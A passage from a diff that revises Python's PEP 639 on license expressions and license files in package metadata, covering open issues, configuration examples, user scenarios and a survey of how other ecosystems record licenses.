and compatibility. + + +.. _639-rejected-ideas-difference-license-source-binary: + +Different licenses for source and binary distributions +'''''''''''''''''''''''''''''''''''''''''''''''''''''' + +As an additional use case, it was asked whether it was in scope for this +PEP to handle cases where the license expression for a binary distribution +(wheel) is different from that for a source distribution (sdist), such +as in cases of non-pure-Python packages that compile and bundle binaries +under different licenses than the project itself. An example cited was +`PyTorch `__, which contains CUDA from Nvidia, which is freely +distributable but not open source. `NumPy `__ and +`SciPy `__ also had similar issues, as reported by the +original author of this PEP and now resolved for those cases. + +However, given the inherent complexity here and a lack of an obvious +mechanism to do so, the fact that each wheel would need its own license +information, lack of support on PyPI for exposing license info on a +per-distribution archive basis, and the relatively niche use case, it was +determined to be out of scope for this PEP, and left to a future PEP +to resolve if sufficient need and interest exists and an appropriate +mechanism can be found. + + +Open Issues +=========== + +Should the ``License`` field be back-filled, or mutually exclusive? +------------------------------------------------------------------- + +At present, this PEP explicitly allows, but does not formally recommend or +require, build tools to back-fill the ``License`` core metadata field with +the verbatim text from the ``License-Expression`` field. This would +presumably improve backwards compatibility and was suggested +by some on the Discourse thread. On the other hand, allowing it does +increase complexity and is less of a clean, consistent separation, +preventing the ``License`` field from being completely mutually exclusive +with the new ``License-Expression`` field and requiring that their values +match. + +As such, it would be very useful to have a more concrete and specific +rationale and use cases for the back-filled data, and give fuller +consideration to any potential benefits or drawbacks of this approach, +in order to come to a final consensus on this matter that can be appropriately +justified here. + +Therefore, is the status quo expressed here acceptable, allowing tools +leeway to decide this for themselves? Should this PEP formally recommend, +or even require, that tools back-fill this metadata (which would presumably +be reversed once a breaking revision of the metadata spec is issued)? +Or should this not be explicitly allowed, discouraged or even prohibited? + + +Should custom license identifiers be allowed? +--------------------------------------------- + +The current version of this PEP retains the behavior of only specifying +the use of SPDX-defined license identifiers, as well as the explicitly defined +custom identifiers ``LicenseRef-Public-Domain`` and ``LicenseRef-Proprietary`` +to handle the two common cases where projects have a license, but it is not +one that has a recognized SPDX license identifier. + +For maximum flexibility, custom ``LicenseRef-`` license +identifiers could be allowed, which could potentially be useful for niche +cases or corporate environments where ``LicenseRef-Proprietary`` is not +appropriate or insufficiently specific, but relying on mainstream Python +build tooling and the ``License-Expression`` metadata field is still +desirable to use for this purpose. + +This has the downsides, however, of not catching misspellings of the +canonically defined license identifiers and thus producing license metadata +that is not a valid match for what the author intended, as well as users +potentially thinking they have to prepend ``LicenseRef`` in front of valid +license identifiers, as there seems to be some previous confusion about. +Furthermore, this encourages the proliferation of bespoke license identifiers, +which obviates the purpose of enabling clear, unambiguous and well +understood license metadata for which this PEP was created. + +Indeed, for niche cases that need specific, proprietary custom licenses, +they could always simply specify ``LicenseRef-Proprietary``, and then +include the actual license files needed to unambiguously identify the license +regardless (if not using SPDX license identifiers) under the ``License-File`` +fields. Requiring standards-conforming tools to allow custom license +identifiers does not seem very useful, since standard tools will not recognize +bespoke ones or know how to treat them. By contrast, bespoke tools, which +would be required in any case to understand and act on custom identifiers, +are explicitly allowed, with good reason (thus the ``SHOULD`` keyword) +to not require that license identifiers conform to those listed here. +Therefore, this specification still allows such use in private corporate +environments or specific ecosystems, while avoiding the disadvantages of +imposing them on all mainstream packaging tools. + +As an alternative, a literal ``LicenseRef-Custom`` identifier could be +defined, which would more explicitly indicate that the license cannot be +expressed with defined identifiers and the license text should be referenced +for details, without carrying the negative and potentially inappropriate +implications of ``LicenseRef-Proprietary``. This would avoid the main +mentioned downsides (misspellings, confusion, license proliferation) of +the approve approach of allowing an arbitrary ``LicenseRef``, while +addressing several of the potential theoretical scenarios cited for it. + +On the other hand, as SPDX aims to (and generally does) encompass all +FSF-recognized "Free" and OSI-approved "Open Source" licenses, +and those sources are kept closely in sync and are now relatively stable, +anything outside those bounds would generally be covered by +``LicenseRef-Proprietary``, thus making ``LicenseRef-Custom`` less specific +in that regard, and somewhat redundant to it. Furthermore, it may mislead +authors of projects with complex/multiple licenses that they should use it +over specifying a license expression. + +At present, the PEP retains the existing approach over either of these, given +the use cases and benefits were judged to be sufficiently marginal based +on the current understanding of the packaging landscape. For both these +proposals, however, if more concrete use cases emerge, this can certainly +be reconsidered, either for this current PEP or a future one (before or +in tandem with actually removing the legacy unstructured ``License`` +metadata field). Not defining this now enables allowing it later +(or still now, with custom packaging tools), without affecting backward +compatibility, while the same is not so if they are allowed now and later +determined to be unnecessary or too problematic in practice. + + +.. _639-examples: + +Appendix: License Expression Examples +===================================== + +.. _639-example-basic: + +Basic example +------------- + +The Setuptools project itself, as of `version 59.1.1 `__, +does not use the ``License`` field in its own project source metadata. +Further, it no longer explicitly specifies ``license_file``/``license_files`` +as it did previously, since Setuptools relies on its own automatic +inclusion of license-related files matching common patterns, +such as the ``LICENSE`` file it uses. + +It includes the following license-related metadata in its ``setup.cfg``: + +.. code-block:: ini + + [metadata] + classifiers = + License :: OSI Approved :: MIT License -2. Mapping licenses used in the license expression to specific files in the - license files (or vice versa). +The simplest migration to this PEP would consist of using this instead: -This would require using a mapping (two parallel lists would be too prone to -alignment errors) and a mapping would bring extra complication to how license -are documented by adding an additional nesting level. +.. code-block:: ini -A mapping would be needed as you cannot guarantee that all expressions (e.g. -GPL with an exception may be in a single file) or all the license keys have a -single license file and that any expression does not have more than one. (e.g. -an Apache license ``LICENSE`` and its ``NOTICE`` file for instance are two -distinct files). Yet in most cases, there is a simpler "one license", "one or -more license files". In the rarer and more complex cases where there are many -licenses involved you can still use the proposed conventions at the cost of a -slight loss of clarity by not specifying which text file is for which license -identifier, but you are not forcing the more complex data model (e.g. a mapping) -on everyone that may not need it. + [metadata] + license_expression = MIT -We could of course have a data field with multiple possible value types (it’s a -string, it’s a list, it’s a mapping!) but this could be a source of confusion. -This is what has been done for instance in npm (historically) and in Rubygems -(still today) and as result you need to test the type of the metadata field -before using it in code and users are confused about when to use a list or a -string. +Or, in a :pep:`621` ``pyproject.toml``: +.. code-block:: toml -3. Mapping licenses to specific source files and/or directories of source files - (or vice versa). + [project] + license-expression = "MIT" -File-level notices are not considered as part of the scope of this PEP and the -existing ``SPDX-License-Identifier`` [#spdxids]_ convention can be used and -may not need further specification as a PEP. +The output core metadata for the distribution packages would then be: +.. code-block:: email -Appendix 1. License Expression example -====================================== + License-Expression: MIT + License-File: LICENSE -The current version of ``setuptools`` metadata [#setuptools5030]_ does not use -the ``License`` field. It uses instead this license-related information in -``setup.cfg``:: +The ``LICENSE`` file would be stored at ``/setuptools-${VERSION}/LICENSE`` +in the sdist and ``/setuptools-${VERSION}.dist-info/license_files/LICENSE`` +in the wheel, and unpacked from there into the site directory (e.g. +``site-packages``) on installation; ``/`` is the root of the respective archive +and ``${VERSION}`` the version of the Setuptools release in the core metadata. - license_file = LICENSE - classifiers = - License :: OSI Approved :: MIT License -The simplest migration to this PEP would consist of using this instead:: +.. _639-example-advanced: - license = MIT - license_files = - LICENSE +Advanced example +---------------- -Another possibility would be to include the licenses of the third-party packages +Suppose Setuptools were to include the licenses of the third-party projects that are vendored in the ``setuptools/_vendor/`` and ``pkg_resources/_vendor`` -directories:: +directories; specifically: + +.. code-block:: text - appdirs==1.4.3 - packaging==20.4 + packaging==21.2 pyparsing==2.2.1 ordered-set==3.1.1 + more_itertools==8.8.0 + +The license expressions for these projects are: -These license expressions for these packages are:: +.. code-block:: text - appdirs: MIT packaging: Apache-2.0 OR BSD-2-Clause pyparsing: MIT ordered-set: MIT + more_itertools: MIT + +A comprehensive license expression covering both Setuptools +proper and its vendored dependencies would contain these metadata, +combining all the license expressions into one. Such an expression might be: + +.. code-block:: text + + MIT AND (Apache-2.0 OR BSD-2-Clause) + +In addition, per the requirements of the licenses, the relevant license files +must be included in the package. Suppose the ``LICENSE`` file contains the text +of the MIT license and the copyrights used by Setuptools, ``pyparsing``, +``more_itertools`` and ``ordered-set``; and the ``LICENSE*`` files in the +``setuptools/_vendor/packaging/`` directory contain the Apache 2.0 and +2-clause BSD license text, and the Packaging copyright statement and +`license choice notice `__. + +Specifically, we assume the license files are located at the following +paths in the project source tree (relative to the project root and +``pyproject.toml``): + +.. code-block:: ini + + LICENSE + setuptools/_vendor/packaging/LICENSE + setuptools/_vendor/packaging/LICENSE.APACHE + setuptools/_vendor/packaging/LICENSE.BSD -Therefore, a comprehensive license expression covering both ``setuptools`` proper -and its vendored packages could contain these metadata, combining all the -license expressions in one expression:: +Putting it all together, our ``setup.cfg`` would be: - license = MIT AND (Apache-2.0 OR BSD-2-Clause) +.. code-block:: ini + + [metadata] + license_expression = MIT AND (Apache-2.0 OR BSD-2-Clause) license_files = - LICENSE.MIT - LICENSE.packaging + LICENSE + setuptools/_vendor/packaging/LICENSE + setuptools/_vendor/packaging/LICENSE.APACHE + setuptools/_vendor/packaging/LICENSE.BSD -Here we would assume that the ``LICENSE.MIT`` file contains the text of the MIT -license and the copyrights used by ``setuptools``, ``appdirs``, ``pyparsing`` and -``ordered-set``, and that the ``LICENSE.packaging`` file contains the texts of the -Apache and BSD license, its copyrights and its license choice notice [#packlic]_. +In a :pep:`621` ``pyproject.toml``, with license files specified explicitly +via the ``paths`` subkey, this would look like: +.. code-block:: toml -Appendix 2. Surveying how we document licenses today in Python -============================================================== + [project] + license-expression = "MIT AND (Apache-2.0 OR BSD-2-Clause)" + license-files.paths = [ + "LICENSE", + "setuptools/_vendor/LICENSE", + "setuptools/_vendor/LICENSE.APACHE", + "setuptools/_vendor/LICENSE.BSD", + ] -There are multiple ways used or recommended to document Python package -licenses today: +Or alternatively, matched via glob patterns, this could be: +.. code-block:: toml -In Core metadata ----------------- + [project] + license-expression = "MIT AND (Apache-2.0 OR BSD-2-Clause)" + license-files.globs = [ + "LICENSE*", + "setuptools/_vendor/LICENSE*", + ] + +With either approach, the output core metadata in the distribution +would be: + +.. code-block:: email + + License-Expression: MIT AND (Apache-2.0 OR BSD-2-Clause) + License-File: LICENSE + License-File: setuptools/_vendor/packaging/LICENSE + License-File: setuptools/_vendor/packaging/LICENSE.APACHE + License-File: setuptools/_vendor/packaging/LICENSE.BSD + +In the resulting sdist, with ``/`` as the root of the archive and ``${VERSION}`` +the version of the Setuptools release specified in the core metadata, +the license files would be located at the paths: + +.. code-block:: shell + + /setuptools-${VERSION}/LICENSE + /setuptools-${VERSION}/setuptools/_vendor/packaging/LICENSE + /setuptools-${VERSION}/setuptools/_vendor/packaging/LICENSE.APACHE + /setuptools-${VERSION}/setuptools/_vendor/packaging/LICENSE.BSD + +In the built wheel, with ``/`` being the root of the archive and +``{version}`` as the previous, the license files would be stored at: + +.. code-block:: shell + + /setuptools-${VERSION}.dist-info/license_files/LICENSE + /setuptools-${VERSION}.dist-info/license_files/setuptools/_vendor/packaging/LICENSE + /setuptools-${VERSION}.dist-info/license_files/setuptools/_vendor/packaging/LICENSE.APACHE + /setuptools-${VERSION}.dist-info/license_files/setuptools/_vendor/packaging/LICENSE.BSD + +Finally, in the installed project, with ``site-packages`` being the site dir +and ``{version}`` as the previous, the license files would be installed to: + +.. code-block:: shell + + site-packages/setuptools-${VERSION}.dist-info/license_files/LICENSE + site-packages/setuptools-${VERSION}.dist-info/license_files/setuptools/_vendor/packaging/LICENSE + site-packages/setuptools-${VERSION}.dist-info/license_files/setuptools/_vendor/packaging/LICENSE.APACHE + site-packages/setuptools-${VERSION}.dist-info/license_files/setuptools/_vendor/packaging/LICENSE.BSD + + +.. _639-example-conversion: + +Conversion example +------------------ + +Suppose we were to return to our simple Setuptools case. +Per the specification, given it only has the following license classifier: + +.. code-block:: email + + Classifier: License :: OSI Approved :: MIT License + +And no value for the ``License`` field, or equivalently, if it had a +value of: + +.. code-block:: email + + License: MIT + +Then the suggested value for the ``License-Expression`` field would be: + +.. code-block:: email + + License-Expression: MIT + +For the more complex case, assuming it was currently expressed as multiple +license classifiers, no automatic conversion could be performed due to the +inherent ambiguity, and the user would be prompted on how to handle the +situation themselves. + + +.. _639-example-expression: + +Expression examples +------------------- + +Some additional examples of valid ``License-Expression`` values: + +.. code-block:: email + + License-Expression: MIT + License-Expression: BSD-3-Clause + License-Expression: MIT AND (Apache-2.0 OR BSD-2-clause) + License-Expression: MIT OR GPL-2.0-or-later OR (FSFUL AND BSD-2-Clause) + License-Expression: GPL-3.0-only WITH Classpath-Exception-2.0 OR BSD-3-Clause + License-Expression: LicenseRef-Public-Domain OR CC0-1.0 OR Unlicense + License-Expression: LicenseRef-Proprietary + + +.. _639-user-scenarios: + +Appendix: User Scenarios +======================== + +The following covers the range of common use cases from a user perspective, +providing straightforward guidance for each. Do note that the following +should **not** be considered legal advice, and readers should consult a +licensed legal practitioner in their jurisdiction if they are unsure about +the specifics for their situation. + + +I have a private package that won't be distributed +-------------------------------------------------- + +If your package isn't shared publicly, i.e. outside your company, +organization or household, it *usually* isn't strictly necessary to include +a formal license, so you wouldn't necessarily have to do anything extra here. + +However, it is still a good idea to include ``LicenseRef-Proprietary`` +as a license expression in your package configuration, and/or a +copyright statement and any legal notices in a ``LICENSE.txt`` file +in the root of your project directory, which will be automatically +included by packaging tools. + + +I just want to share my own work without legal restrictions +----------------------------------------------------------- + +While you aren't required to include a license, if you don't, no one has +`any permission to download, use or improve your work `__, +so that's probably the *opposite* of what you actually want. +The `MIT license `__ is a great choice instead, as it's simple, +widely used and allows anyone to do whatever they want with your work +(other than sue you, which you probably also don't want). + +To apply it, just paste `the text `__ into a file named +``LICENSE.txt`` at the root of your repo, and add the year and your name to +the copyright line. Then, just add ``license-expression = "MIT"`` under +``[project]`` in your ``pyproject.toml`` if your packaging tool supports it, +or in its config file/section (e.g. Setuptools ``license_expression = MIT`` +under ``[metadata]`` in ``setup.cfg``). You're done! + + +I want to distribute my project under a specific license +-------------------------------------------------------- + +To use a particular license, simply paste its text into a ``LICENSE.txt`` +file at the root of your repo, if you don't have it in a file starting with +``LICENSE`` or ``COPYING`` already, and add +``license-expression = "LICENSE-ID"`` under ``[project]`` in your +``pyproject.toml`` if your packaging tool supports it, or else in its +config file (e.g. for Setuptools, ``license_expression = LICENSE-ID`` +under ``[metadata]`` in ``setup.cfg``). You can find the ``LICENSE-ID`` +and copyable license text on sites like +`ChooseALicense `__ or `SPDX `__. + +Many popular code hosts, project templates and packaging tools can add the +license file for you, and may support the expression as well in the future. + + +I maintain an existing package that's already licensed +------------------------------------------------------ + +If you already have license files and metadata in your project, you +should only need to make a couple of tweaks to take advantage of the new +functionality. + +In your project config file, enter your license expression under +``license-expression`` (:pep:`621` ``pyproject.toml``), ``license_expression`` +(Setuptools ``setup.cfg`` / ``setup.py``), or the equivalent for your +packaging tool, and make sure to remove any legacy ``license`` value or +``License ::`` classifiers. Your existing ``license`` value may already +be valid as one (e.g. ``MIT``, ``Apache-2.0 OR BSD-2-Clause``, etc); +otherwise, check the `SPDX license list `__ for the identifier +that matches the license used in your project. + +If your license files begin with ``LICENSE``, ``COPYING``, ``NOTICE`` or +``AUTHORS``, or you've already configured your packaging tool to add them +(e.g. ``license_files`` in ``setup.cfg``), you should already be good to go. +If not, make sure to list them under ``license-files.paths`` +or ``license-files.globs`` under ``[project]`` in ``pyproject.toml`` +(if your tool supports it), or else in your tool's configuration file +(e.g. ``license_files`` in ``setup.cfg`` for Setuptools). + +See the :ref:`639-example-basic` for a simple but complete real-world demo +of how this works in practice, including some additional technical details. +Packaging tools may support automatically converting legacy licensing +metadata; check your tool's documentation for more information. + + +My package includes other code under different licenses +------------------------------------------------------- + +If your project includes code from others covered by different licenses, +such as vendored dependencies or files copied from other open source +software, you can construct a license expression (or have a tool +help you do so) to describe the licenses involved and the relationship +between them. + +In short, ``License-1 AND License-2`` mean that *both* licenses apply +to your project, or parts of it (for example, you included a file +under another license), and ``License-1 OR License-2`` means that +*either* of the licenses can be used, at the user's option (for example, +you want to allow users a choice of multiple licenses). You can use +parenthesis (``()``) for grouping to form expressions that cover even the most +complex situations. + +In your project config file, enter your license expression under +``license-expression`` (:pep:`621` ``pyproject.toml``), ``license_expression`` +(Setuptools ``setup.cfg`` / ``setup.py``), or the equivalent for your +packaging tool, and make sure to remove any legacy ``license`` value or +``License ::`` classifiers. + +Also, make sure you add the full license text of all the licenses as files +somewhere in your project repository. If all of them are in the root directory +and begin with ``LICENSE``, ``COPYING``, ``NOTICE`` or ``AUTHORS``, +they will be included automatically. Otherwise, you'll need to list the +relative path or glob patterns to each of them under ``license-files.paths`` +or ``license-files.globs`` under ``[project]`` in ``pyproject.toml`` +(if your tool supports it), or else in your tool's configuration file +(e.g. ``license_files`` in ``setup.cfg`` for Setuptools). + +As an example, if your project was licensed MIT but incorporated +a vendored dependency (say, ``packaging``) that was licensed under +either Apache 2.0 or the 2-clause BSD, your license expression would +be ``MIT AND (Apache-2.0 OR BSD-2-Clause)``. You might have a +``LICENSE.txt`` in your repo root, and a ``LICENSE-APACHE.txt`` and +``LICENSE-BSD.txt`` in the ``_vendor`` subdirectory, so to include +all of them, you'd specify ``["LICENSE.txt", "_vendor/packaging/LICENSE*"]`` +as glob patterns, or +``["LICENSE.txt", "_vendor/LICENSE-APACHE.txt", "_vendor/LICENSE-BSD.txt"]`` +as literal file paths. + +See a fully worked out :ref:`639-example-advanced` for a comprehensive end-to-end +application of this to a real-world complex project, with copious technical +details, and consult a `tutorial `__ for more help and examples +using SPDX identifiers and expressions. + + +.. _639-license-doc-python: + +Appendix: License Documentation in Python +========================================= + +There are multiple ways used or recommended to document Python project +licenses today. The most common are listed below. + + +.. _639-license-doc-core-metadata: + +Core metadata +------------- There are two overlapping core metadata fields to document a license: the -license-related ``Classifier`` strings [#classif]_ prefixed with ``License ::`` and -the ``License`` field as free text [#licfield]_. +license ``Classifier`` `strings `__ prefixed with ``License ::`` +and the ``License`` `field `__ as free text. + +The core metadata ``License`` field documentation is currently: +.. code-block:: rst -The core metadata documentation ``License`` field documentation is currently:: + License + ======= - License (optional) - :::::::::::::::::: + .. versionadded:: 1.0 Text indicating the license covering the distribution where the license is not a selection from the "License" Trove classifiers. See - "Classifier" below. This field may also be used to specify a + :ref:`"Classifier" ` below. + This field may also be used to specify a particular version of a license which is named via the ``Classifier`` field, or to indicate a variation or exception to such a license. @@ -550,339 +2408,387 @@ The core metadata documentation ``License`` field documentation is currently:: License: GPL version 3, excluding DRM provisions Even though there are two fields, it is at times difficult to convey anything -but simpler licensing. For instance some classifiers lack accuracy (GPL -without a version) and when you have multiple License-related classifiers it is -not clear if this is a choice or all these apply and which ones. Furthermore, -the list of available license-related classifiers is often out-of-date. +but simpler licensing. For instance, some classifiers lack precision +(GPL without a version) and when multiple license classifiers are +listed, it is not clear if both licenses must apply, or the user may choose +between them. Furthermore, the list of available license classifiers +is rather limited and out-of-date. -In the PyPA ``sampleproject`` ------------------------------ +.. _639-license-doc-setuptools-wheel: -The latest PyPA ``sampleproject`` recommends only to use classifiers in -``setup.py`` and does not list the ``license`` field in its example -``setup.py`` [#samplesetup]_. +Setuptools and Wheel +-------------------- +Beyond a license code or qualifier, license text files are documented and +included in a built package either implicitly or explicitly, +and this is another possible source of confusion: + +- In the `Setuptools `__ and `Wheel `__ projects, + license files are automatically added to the distribution (at their source + location in a source distribution/sdist, and in the ``.dist-info`` + directory of a built wheel) if they match one of a number of common license + file name patterns (``LICEN[CS]E*``, ``COPYING*``, ``NOTICE*`` and + ``AUTHORS*``). Alternatively, a package author can specify a list of license + file paths to include in the built wheel under the ``license_files`` key in + the ``[metadata]`` section of the project's ``setup.cfg``, or as an argument + to the ``setuptools.setup()`` function. At present, following the Wheel + project's lead, Setuptools flattens the collected license files into the + metadata directory, clobbering files with the same name, and dumps license + files directly into the top-level ``.dist-info`` directory, but there is a + `desire to resolve both these issues `__, + contingent on this PEP being accepted. + +- Both tools also support an older, singular ``license_file`` parameter that + allows specifying only one license file to add to the distribution, which + has been deprecated for some time but still sees `some use `__. + +- Following the publication of an earlier draft of this PEP, Setuptools + `added support `__ for ``License-File`` in distribution + metadata as described in this specification. This allows other tools + consuming the resulting metadata to unambiguously locate the license file(s) + for a given package. + + +.. _639-license-doc-pypug: + +PyPA Packaging Guide and Sample Project +--------------------------------------- -The License Files in wheels and setuptools ------------------------------------------- +Both the `PyPA beginner packaging tutorial `__ and its more +comprehensive `packaging guide `__ state that it is +important that every package include a license file. They point to the +``LICENSE.txt`` in the official PyPA sample project as an example, which is +`explicitly listed `__ under the ``license_files`` key in +its ``setup.cfg``, following existing practice formally specified by this PEP. + +Both the `beginner packaging tutorial `__ and the +`sample project `__ only use classifiers to declare a +package's license, and do not include or mention the ``License`` field. +The `full packaging guide `__ does mention this field, but +states that authors should use the license classifiers instead, unless the +project uses a non-standard license (which the guide discourages). -Beyond a license code or qualifier, license text files are documented and -included in a built package either implicitly or explicitly and this is another -possible source of confusion: - -- In wheels [#wheels]_ license files are automatically added to the ``.dist-info`` - directory if they match one of a few common license file name patterns (such - as LICENSE*, COPYING*). Alternatively a package author can specify a list of - license file paths to include in the built wheel using in the - ``license_files`` field in the ``[metadata]`` section of the project's - ``setup.cfg``. Previously this was a (singular) ``license_file`` file attribute - that is now deprecated but is still in common use. See [#pipsetup]_ for - instance. - -- In ``setuptools`` [#setuptoolssdist]_, a ``license_file`` attribute is used to add - a single license file to a source distribution. This singular version is - still honored by ``wheels`` for backward compatibility. - -- Using a LICENSE.txt file is encouraged in the packaging guide [#packaging]_ - paired with a ``MANIFEST.in`` entry to ensure that the license file is included - in a built source distribution (sdist). - -Note: the License-File field proposed in this PEP already exists in ``wheel`` and -``setuptools`` with the same behaviour as explained above. This PEP is only -recognizing and documenting the existing practice as used in ``wheel`` (with the -``license_file`` and ``license_files`` ``setup.cfg`` ``[metadata]`` entries) and in -``setuptools`` ``license_file`` ``setup()`` argument. - - -In Python code files --------------------- -(Note: Documenting licenses in source code is not in the scope of this PEP) +.. _639-license-doc-source-files: -Beside using comments and/or ``SPDX-License-Identifier`` conventions, the license -is sometimes documented in Python code files using "dunder" variables typically -named after one of the lower cased Core Metadata fields such as ``__license__`` -[#pycode]_. +Python source code files +------------------------ -This convention (dunder global variables) is recognized by the built-in ``help()`` -function and the standard ``pydoc`` module. The dunder variable(s) will show up in -the ``help()`` DATA section for a module. +**Note:** Documenting licenses in source code is not in the scope of this PEP. +Beside using comments and/or ``SPDX-License-Identifier`` conventions, the +license is `sometimes `__ documented in Python code files using +a "dunder" module-level constant, typically named ``__license__``. -In some other Python packaging tools ------------------------------------- +This convention, while perhaps somewhat antiquated, is recognized by the +built-in ``help()`` function and the standard ``pydoc`` module. +The dunder variable will show up in the ``help()`` DATA section for a module. -- Conda package manifest [#conda]_ has support for ``license`` and ``license_file`` - fields as well as a ``license_family`` license grouping field. -- ``flit`` [#flit]_ recommends to use classifiers instead of License (as per the - current metadata spec). +.. _639-license-doc-other-packaging-tools: -- ``pbr`` [#pbr]_ uses similar data as setuptools but always stored setup.cfg. +Other Python packaging tools +---------------------------- -- ``poetry`` [#poetry]_ specifies the use of the ``license`` field in +- `Conda package manifests `__ have support for ``license`` and + ``license_file`` fields, and automatically include license files + following similar naming patterns as the Wheel and Setuptools projects. + +- `Flit `__ recommends using classifiers instead of the ``License`` + field (per the current PyPA packaging guide). + +- `PBR `__ uses similar data as Setuptools, but always stored in + ``setup.cfg``. + +- `Poetry `__ specifies the use of the ``license`` field in ``pyproject.toml`` with SPDX license identifiers. -Appendix 3. Surveying how other package formats document licenses -================================================================= +.. _639-license-doc-other-projects: + +Appendix: License Documentation in Other Projects +================================================= Here is a survey of how things are done elsewhere. -License in Linux distribution packages ---------------------------------------- -Note: in most cases the license texts of the most common licenses are included -globally once in a shared documentation directory (e.g. /usr/share/doc). +Linux distribution packages +--------------------------- -- Debian document package licenses with machine readable copyright files - [#dep5]_. This specification defines its own license expression syntax that is - very similar to the SDPX syntax and use its own list of license identifiers - for common licenses (also closely related to SPDX identifiers). +**Note:** in most cases, the texts of the most common licenses are included +globally in a shared documentation directory (e.g. ``/usr/share/doc``). -- Fedora packages [#fedora]_ specify how to include ``License Texts`` - [#fedoratext]_ and how use a ``License`` field [#fedoralic]_ that must be filled - with an appropriate license Short License identifier(s) from an extensive list - of "Good Licenses" identifiers [#fedoralist]_. Fedora also defines its own - license expression syntax very similar to the SDPX syntax. +- Debian documents package licenses with + `machine readable copyright files `__. + It defines its own license expression syntax and list of identifiers for + common licenses, both of which are closely related to those of SPDX. -- openSUSE packages [#opensuse]_ use SPDX license expressions with - SPDX license identifiers and a list of extra license identifiers - [#opensuselist]_. +- `Fedora packages `__ specify how to include + `License Texts `__ and use a + `License field `__ that must be filled + with appropriate short license identifier(s) from an extensive list + of `"Good Licenses" `__. Fedora also defines its own + license expression syntax, similar to that of SPDX. -- Gentoo ebuild uses a ``LICENSE`` variable [#gentoo]_. This field is specified - in GLEP-0023 [#glep23]_ and in the Gentoo development manual [#gentoodev]_. - Gentoo also defines a license expression syntax and a list of allowed - licenses. The expression syntax is rather different from SPDX. +- `OpenSUSE packages `__ use SPDX license expressions with + SPDX license IDs and a + `list of additional license identifiers `__. -- FreeBSD package Makefile [#freebsd]_ provides ``LICENSE`` and +- `Gentoo ebuild `__ uses a ``LICENSE`` variable. + This field is specified in `GLEP-0023 `__ and in the + `Gentoo development manual `__. + Gentoo also defines a list of allowed licenses and a license expression + syntax, which is rather different from SPDX. + +- The `FreeBSD package Makefile `__ provides ``LICENSE`` and ``LICENSE_FILE`` fields with a list of custom license symbols. For - non-standard licenses, FreeBSD recommend to use ``LICENSE=UNKNOWN`` and add - ``LICENSE_NAME`` and ``LICENSE_TEXT`` fields, as well as sophisticated + non-standard licenses, FreeBSD recommends using ``LICENSE=UNKNOWN`` and + adding ``LICENSE_NAME`` and ``LICENSE_TEXT`` fields, as well as sophisticated ``LICENSE_PERMS`` to qualify the license permissions and ``LICENSE_GROUPS`` - to document a license grouping. The ``LICENSE_COMB`` allows to document more + to document a license grouping. The ``LICENSE_COMB`` allows documenting more than one license and how they apply together, forming a custom license expression syntax. FreeBSD also recommends the use of ``SPDX-License-Identifier`` in source code files. -- Archlinux PKGBUILD [#archinux]_ define its own license identifiers - [#archlinuxlist]_. The value ``'unknown'`` can be used if the license is not - defined. +- `Arch Linux PKGBUILD `__ defines its + `own license identifiers `__. + The value ``'unknown'`` can be used if the license is not defined. -- OpenWRT ipk packages [#openwrt]_ use the ``PKG_LICENSE`` and +- `OpenWRT ipk packages `__ use the ``PKG_LICENSE`` and ``PKG_LICENSE_FILES`` variables and recommend the use of SPDX License identifiers. -- NixOS uses SPDX identifiers [#nixos]_ and some extra license identifiers in - its license field. +- `NixOS uses SPDX identifiers `__ and some extra license IDs + in its license field. -- GNU Guix (based on NixOS) has a single License field, uses its own license - symbols list [#guix]_ and specifies to use one license or a list of licenses - [#guixlic]_. +- GNU Guix (based on NixOS) has a single License field, uses its own + `license symbols list `__ and specifies how to use one license or a + `list of them `__. -- Alpine Linux packages [#alpine]_ recommend using SPDX identifiers in the +- `Alpine Linux packages `__ recommend using SPDX identifiers in the license field. -License in Language and Application packages --------------------------------------------- +Language and application packages +--------------------------------- -- In Java, Maven POM [#maven]_ defines a ``licenses`` XML tag with a list of license - items each with a name, URL, comments and "distribution" type. This is not - mandatory and the content of each field is not specified. +- In Java, `Maven POM `__ defines a ``licenses`` XML tag with a list + of licenses, each with a name, URL, comments and "distribution" type. + This is not mandatory, and the content of each field is not specified. -- JavaScript npm package.json [#npm]_ use a single license field with SPDX - license expression or the ``UNLICENSED`` id if no license is specified. - A license file can be referenced as an alternative using "SEE LICENSE IN - " in the single ``license`` field. +- The `JavaScript NPM package.json `__ uses a single license field with + a SPDX license expression, or the ``UNLICENSED`` ID if none is specified. + A license file can be referenced as an alternative using + ``SEE LICENSE IN `` in the single ``license`` field. -- Rubygems gemspec [#gem]_ specifies either a singular license string or a list - of license strings. The relationship between multiple licenses in a list is - not specified. They recommend using SPDX license identifiers. +- `Rubygems gemspec `__ specifies either a single or list of license + strings. The relationship between multiple licenses in a + list is not specified. They recommend using SPDX license identifiers. -- CPAN Perl modules [#perl]_ use a single license field which is either a single - string or a list of strings. The relationship between the licenses in a list - is not specified. There is a list of custom license identifiers plus +- `CPAN Perl modules `__ use a single license field, which is either a + single or a list of strings. The relationship between the licenses in + a list is not specified. There is a list of custom license identifiers plus these generic identifiers: ``open_source``, ``restricted``, ``unrestricted``, ``unknown``. -- Rust Cargo [#cargo]_ specifies the use of an SPDX license expression (v2.1) in - the ``license`` field. It also supports an alternative expression syntax using - slash-separated SPDX license identifiers. There is also a ``license_file`` - field. The crates.io package registry [#cratesio]_ requires that either - ``license`` or ``license_file`` fields are set when you upload a package. - -- PHP Composer composer.json [#composer]_ uses a ``license`` field with an SPDX - license id or "proprietary". The ``license`` field is either a single string - that can use something which resembles the SPDX license expression syntax with - "and" and "or" keywords; or is a list of strings if there is a choice of - licenses (aka. a "disjunctive" choice of license). - -- NuGet packages [#nuget]_ were using only a simple license URL and are now - specifying to use an SPDX License expression and/or the path to a license +- `Rust Cargo `__ specifies the use of an SPDX license expression + (v2.1) in the ``license`` field. It also supports an alternative expression + syntax using slash-separated SPDX license identifiers, and there is also a + ``license_file`` field. The `crates.io package registry `__ + requires that either ``license`` or ``license_file`` fields are set when + uploading a package. + +- `PHP composer.json `__ uses a ``license`` field with + an SPDX license ID or ``proprietary``. The ``license`` field is either a + single string with resembling the SPDX license expression syntax with + ``and`` and ``or`` keywords; or is a list of strings if there is a + (disjunctive) choice of licenses. + +- `NuGet packages `__ previously used only a simple license URL, but + now specify using a SPDX license expression and/or the path to a license file within the package. The NuGet.org repository states that they only - accepts license expressions that are `approved by the Open Source Initiative - or the Free Software Foundation.` + accept license expressions that are "approved by the Open Source Initiative + or the Free Software Foundation." - Go language modules ``go.mod`` have no provision for any metadata beyond dependencies. Licensing information is left for code authors and other community package managers to document. -- Dart/Flutter spec [#flutter]_ recommends 